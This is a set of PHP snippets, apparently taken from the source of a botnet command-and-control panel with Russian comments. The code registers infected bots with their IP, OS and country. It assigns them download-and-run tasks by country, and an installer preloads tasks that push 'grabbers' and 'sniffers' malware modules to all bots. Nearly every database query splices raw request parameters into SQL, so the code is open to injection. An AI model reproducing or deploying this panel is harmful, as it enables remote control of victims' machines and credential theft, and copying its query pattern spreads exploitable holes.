Beispiel #1
0
<?php

if (!@$pageIncluded) {
    chdir('..');
}
require_once "config.php";
require_once "ln/ln.php";
require_once "includes/mysql.php";
$db = new odbcClass();
require_once "includes/functions.php";
$config["language"] == "ru" ? $l = "ru" : ($l = "en");
if (!isset($_GET['fid'])) {
    die;
}
$v = $db->query("SELECT * FROM ccTaskFilter WHERE `taskId` = '" . $_GET['fid'] . "'") or die(mysql_errno() . ' ' . mysql_error() . ' in ' . __LINE__);
foreach ($v as $r) {
    $out[] = $r['cc'];
}
echo implode(",", $out);
Beispiel #2
0
if (isset($_POST['fileType']) && $_POST['fileType']=='exe') { $flags[]='e'; } else { $flags[]='d'; }

// правка от 2 сентября 2011г.
if ($command=='update') { $flags = Array(); }

if (isset($_POST['funcName']) && $_POST['funcName']!='') { $flags[]='p'; $funcName=$_POST['funcName']; } else { $funcName=''; }

if (isset($_POST['limit']) && $_POST['limit']!='') { $limits=$_POST['limit']; } else { $limits=0; }

if (!empty($_POST['url'])) {


	$bid = $_POST['bid'] ? $_POST['bid'] : 'all';
	
	$id=$db->query("INSERT INTO `tasks` VALUES('', '".$bid."', '".$url."', '".$command."', '".implode('',$flags)."', '".$funcName."', ".$limits.", '0', '0');");
	foreach($c as $v) { 
		$db->query("INSERT INTO `ccTaskFilter` VALUES('".$id."', '".$v."');"); 
	}
	
	
	
	$r=$db->query("SELECT id, `count`, url, command, flags, functionName, `limit`, stop 
FROM `tasks` 
LEFT JOIN `finished` ON tasks.id = finished.taskId 
WHERE tasks.id = '".$id."' AND tasks.stop != '-1'
GROUP BY finished.taskId");
	foreach($r as $k=>$v){
		echo '<tr>';
		echo '<td><img align="top" style="margin-top:0px;margin-right:5px;margin-left:5px;" src="images/task.png">'.$v['id'].'</td>';
		echo '<td id="url'.$v['id'].'">'.$v['url'].'</td>';
Beispiel #3
0
<?php

require_once "config.php";
require_once "includes/mysql.php";
$db = new odbcClass();
require_once "includes/functions.php";
if (isset($_GET["module"]) && $_GET["module"] == "grabbers") {
    $db->query("INSERT INTO `gscounter` (`option`, `value`) VALUES ('grabbers', '1') ON DUPLICATE KEY UPDATE value = value + 1;");
    download_file(GRABBERS_PATH);
}
if (isset($_GET["module"]) && $_GET["module"] == "sniffers") {
    $db->query("INSERT INTO `gscounter` (`option`, `value`) VALUES ('sniffers', '1') ON DUPLICATE KEY UPDATE value = value + 1;");
    download_file(SNIFFERS_PATH);
}
Beispiel #4
0
<?php

if (!@$pageIncluded) {
    chdir('..');
}
require_once "config.php";
require_once "ln/ln.php";
require_once "includes/mysql.php";
$db = new odbcClass();
require_once "includes/functions.php";
$config["language"] == "ru" ? $l = "ru" : ($l = "en");
if (!isset($_GET['cc'])) {
    $_GET['cc'] = 'all';
}
$cc = explode(',', trim($_GET['cc'], ','));
$db->query("DELETE FROM `ccTaskFilter` WHERE `taskId` = " . $_GET['fid'] . ";");
foreach ($cc as $v) {
    $db->query("INSERT `ccTaskFilter` (`taskId` , `cc`) VALUES ('" . $_GET['fid'] . "','" . $v . "');");
}
Beispiel #5
0
require "config.php";
require "includes/functions.php";
require "includes/mysql.php";
require "includes/geoip.php";
$db = new odbcClass();
// если есть ось и идентификатор бота
if (isset($_GET["bid"]) && isset($_GET["os"])) {
    $bid = $_GET["bid"];
    $os = get_os($_GET['os']);
    // правильный ли формат идентификатора бота
    if (preg_match("/^[[:xdigit:]]{16}\$/", $bid)) {
        // смотрим страну по IP. А IP проверяем на валидность.
        $ip = getip();
        $cc = get_country($ip);
        // вставляем в базу идентификатор бота, если такой уже есть то изменяем время последнего захода
        $db->query("INSERT INTO `bots` (`id`,`ip`,`cc`,`first_time`,`last_time`,`system`) VALUES ('" . $bid . "','" . $ip . "','" . $cc . "','" . time() . "','" . time() . "','" . $os . "') ON DUPLICATE KEY UPDATE `last_time` = '" . time() . "';");
        // работа с задачами
        // выбираем задачу + данные из таблицы стран относящиеся к задаче + табличку с лимитами ГДЕ id бота в таблице заданий есть как у пришедшего и в списке стран есть страна которая соответствует нашей, и бот не в списке финишировавших для этой задачи
        $task = $db->query("SELECT * FROM tasks\r\nLEFT JOIN ccTaskFilter ON ccTaskFilter.taskId = tasks.id \r\nWHERE tasks.bot = '" . $bid . "' \r\nAND (tasks.count < tasks.`limit` OR tasks.`limit` = 0)\r\nAND (ccTaskFilter.cc = '" . $cc . "' OR ccTaskFilter.cc='all') \r\nAND '" . $bid . "' NOT IN (SELECT botId FROM finished WHERE finished.taskId = tasks.id)\r\nAND (tasks.stop = '0' OR tasks.stop = '-1')");
        if ($task[0] == 0) {
            // выбираем задачу + данные из таблицы стран относящиеся к задаче + табличку с лимитами ГДЕ id бота в таблице заданий для всех и в списке стран есть страна которая соответствует нашей, и бот не в списке финишировавших для этой задачи
            $task = $db->query("SELECT * FROM tasks\r\nLEFT JOIN ccTaskFilter ON ccTaskFilter.taskId = tasks.id \r\nWHERE tasks.bot = 'all' \r\nAND (tasks.count < tasks.`limit` OR tasks.`limit` = 0)\r\nAND (ccTaskFilter.cc = '" . $cc . "' OR ccTaskFilter.cc='all') \r\nAND '" . $bid . "' NOT IN (SELECT botId FROM finished WHERE finished.taskId = tasks.id)\r\nAND (tasks.stop = '0' OR tasks.stop = '-1')");
        }
        $task[0] == 0 ? exit(SECRET_KEY) : false;
        // формируем вывод задания
        $taskOut = '';
        foreach ($task as $k => $v) {
            $v['flags'] = trim($v['flags']);
            if (!empty($v['flags'])) {
                $v['flags'] = str_split($v['flags']);
                $v['flags'] = ' -' . implode(' -', $v['flags']);
Beispiel #6
0
<?php

if (!@$pageIncluded) {
    header("Content-type: text/html; charset=utf-8");
    chdir('..');
}
require_once "config.php";
require_once "includes/mysql.php";
$db = new odbcClass();
if (isset($_GET['t']) && $_GET['t'] == 'all') {
    $ids = $db->query("SELECT taskId FROM `ccTaskFilter` LEFT JOIN tasks ON ccTaskFilter.taskId = tasks.id WHERE tasks.stop != '-1'");
    if ($ids[0] != 0) {
        foreach ($ids as $v) {
            $db->query("DELETE FROM `ccTaskFilter` WHERE taskId = " . $v['taskId'] . ";");
        }
    }
    $db->query("DELETE FROM `tasks` WHERE stop != '-1';");
    $db->query("TRUNCATE TABLE `finished`");
    $db->query("TRUNCATE TABLE `bots`");
    $db->query("TRUNCATE TABLE `gscounter`");
    $db->query("UPDATE  `tasks` SET  `count` =  '0'");
} elseif (isset($_GET['t']) && $_GET['t'] == 'stat') {
    $db->query("TRUNCATE TABLE `finished`");
    $db->query("TRUNCATE TABLE `bots`");
    $db->query("TRUNCATE TABLE `gscounter`");
    $db->query("UPDATE `tasks` SET  `count` = '0'");
} else {
    exit('no t in GET');
}
echo "ok";
Beispiel #7
0
<?php

if (!@$pageIncluded) {
    chdir('..');
}
require_once "config.php";
require_once "ln/ln.php";
require_once "includes/mysql.php";
$db = new odbcClass();
require_once "includes/functions.php";
$config["language"] == "ru" ? $l = "ru" : ($l = "en");
if (!isset($_GET['fid'])) {
    $_GET['fid'] = '';
}
$fid = $_GET['fid'];
$v = $db->query("SELECT * FROM `tasks` WHERE `id` = '" . $fid . "'");
if ($v[0] == 0) {
    exit('-1');
}
if ($v[0]['stop'] == '0') {
    $db->query("UPDATE `tasks` SET  `stop` = '1' WHERE `id` = " . $fid . ";");
    exit("1");
} else {
    $db->query("UPDATE `tasks` SET  `stop` = '0' WHERE `id` = " . $fid . ";");
    exit("0");
}
Beispiel #8
0
<?php

require "config.php";
require "includes/functions.php";
require "includes/mysql.php";
$db = new odbcClass();
$db->query("CREATE TABLE `bots` ( `id` varchar(16) NOT NULL DEFAULT '0', `ip` varchar(15) NOT NULL DEFAULT '', `cc` varchar(10) NOT NULL, `first_time` int(11) NOT NULL, `last_time` int(11) NOT NULL, `system` int(1) NOT NULL, PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8;");
$db->query("CREATE TABLE `ccTaskFilter` ( `taskId` int(11) NOT NULL, `cc` varchar(5) NOT NULL) ENGINE=MyISAM DEFAULT CHARSET=utf8;");
$db->query("INSERT INTO `ccTaskFilter` VALUES(1, 'all');");
$db->query("INSERT INTO `ccTaskFilter` VALUES(2, 'all');");
$db->query("INSERT INTO `ccTaskFilter` VALUES(3, 'all');");
$db->query("CREATE TABLE `finished` ( `botId` varchar(16) NOT NULL, `taskId` int(11) NOT NULL) ENGINE=MyISAM DEFAULT CHARSET=utf8;");
$db->query("CREATE TABLE `gscounter` ( `option` varchar(255) NOT NULL, `value` varchar(255) NOT NULL, PRIMARY KEY (`option`)) ENGINE=MyISAM DEFAULT CHARSET=utf8;");
$db->query("CREATE TABLE `tasks` ( `id` int(11) NOT NULL AUTO_INCREMENT, `bot` varchar(16) NOT NULL, `url` varchar(255) NOT NULL, `command` varchar(25) NOT NULL, `flags` varchar(10) NOT NULL, `functionName` varchar(50) NOT NULL, `limit` int(10) NOT NULL, `count` int(11) NOT NULL, `stop` set('0','1','-1') NOT NULL, PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;");
$db->query("INSERT INTO `tasks` VALUES(1, 'all', '" . WEB_ROOT . "/load.php?module=grabbers', 'download', 'dpm', 'Work', 0, 0, '-1');");
// Функция пока недоступна
//$db -> query("INSERT INTO `tasks` VALUES(2, 'all', '".WEB_ROOT."/load.php?module=avclean', 'download', 'dpms', 'Work', 0, 0, '-1');");
$db->query("INSERT INTO `tasks` VALUES(3, 'all', '" . WEB_ROOT . "/load.php?module=sniffers', 'download', 'dpms', 'Work', 0, 0, '-1');");
exit("<h1>Done!<br><a href='admin.php'>Admin panel</a></h1>");
Beispiel #9
0
?>
: us,ua,ru</small>
		</td></tr>
	</table>
</form>
<br/>

<table cellspacing="0" id='modulesTable' border=1>
	<tr>
	<th>Module</th>
	<th>Downloads</th>
	</tr>
	<tbody>
		<?
			if(file_exists(GRABBERS_PATH)){
				$v=$db->query("SELECT * FROM gscounter WHERE `option` = 'grabbers'");
				echo $v[0]==0 ? '<tr><td>grabber</td><td>0</td></tr>' : '<tr><td>grabber</td><td>'.$v[0]['value'].'</td></tr>';
			}
			if(file_exists(SNIFFERS_PATH)){
				$v=$db->query("SELECT * FROM gscounter WHERE `option` = 'sniffers'");
				echo $v[0]==0 ? '<tr><td>sniffer</td><td>0</td></tr>' : '<tr><td>sniffer</td><td>'.$v[0]['value'].'</td></tr>';			
			}
		?>
	</tbody>
</table><br>

	<!-- список файлов -->
<table cellspacing="0" id='filesTable' border=1>
	<tr>
	<th>ID</th>
	<!-- <th><?php